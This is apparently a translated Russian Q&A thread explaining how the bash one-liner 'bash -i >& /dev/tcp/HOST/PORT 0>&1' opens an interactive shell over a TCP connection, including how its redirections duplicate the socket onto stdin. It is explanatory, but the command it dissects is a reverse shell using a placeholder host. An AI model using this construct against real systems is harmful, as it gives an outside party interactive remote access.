Ответы:
Этот фрагмент запускает новый интерактивный экземпляр bash ( bash -i
) по TCP-соединению с указанным портом на указанном хосте, который создается на время процесса bash. Стандартный вывод и стандартная ошибка отправляются через это соединение ( >& /dev/tcp/HOST/PORT
), и стандартный ввод считывается через это соединение ( 0>&1
это должно быть, 0<&1
но 0>&1
тоже работает).
Переадресация портов не происходит. Очевидно, что некоторый TCP-сервер должен прослушивать и принимать соединения на этом HOST: PORT, а брандмауэр должен пропустить соединение.
/dev/tcp/HOST/PORT
? Я предположил, что вы заменили имя на, HOST
а число на PORT
. В противном случае вы получите сообщение об ошибке от bash. Поскольку вы не упомянули ни одного сообщения об ошибке, я предполагаю, что вы его не видели.
0<&1
часть. Я читаю это как «возьми bash stdout ( &1
) и отправь в bash stdin ( 0
)», что имеет смысл. Не могли бы вы объяснить, как работает эта часть?
0<&1
означает подключить все, что в данный момент открыто в файловом дескрипторе 1, к файловому дескриптору 0. Поскольку предыдущее перенаправление >& /dev/tcp/HOST/PORT
подключало fd 1 (по умолчанию для перенаправления вывода) /dev/tcp/HOST/PORT
, то есть открывало сокет TCP, это дублирует TCP-соединение с файловым дескриптором 0 (то есть тот же сокет теперь также открыт на fd 0, это отличается от 0 </ dev / tcp / HOST / PORT, который открыл бы другой сокет для того же сервера).